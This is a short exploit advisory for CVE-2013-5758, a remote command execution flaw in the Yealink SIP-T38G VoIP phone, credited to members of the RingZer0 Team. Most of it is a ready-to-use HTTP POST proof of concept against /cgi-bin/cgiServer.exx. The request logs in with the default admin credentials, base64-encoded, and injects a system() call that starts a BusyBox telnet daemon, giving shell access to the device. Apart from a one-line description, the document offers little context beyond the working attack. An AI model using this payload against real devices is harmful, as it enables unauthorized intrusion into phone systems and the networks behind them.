Yealink VoIP Phone SIP-T38G - Remote Command Execution

Title: Yealink VoIP Phone SIP-T38G Remote Command Execution

Author: Mr.Un1k0d3r & Doreth.Z10 From RingZer0 Team

Vendor Homepage: http://www.yealink.com/Companyprofile.aspx

Version: VoIP Phone SIP-T38G

CVE: CVE-2013-5758



Description:



Using cgiServer.exx we are able to send OS command using the system

function.



POC:



POST /cgi-bin/cgiServer.exx HTTP/1.1

Host: 10.0.75.122

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Authorization: Basic YWRtaW46YWRtaW4= (Default Creds CVE-2013-5755)

Connection: keep-alive

Content-Type: application/x-www-form-urlencoded

Content-Length: 0



system("/bin/busybox%20telnetd%20start")







-- 

*Mr.Un1k0d3r** or 1 #*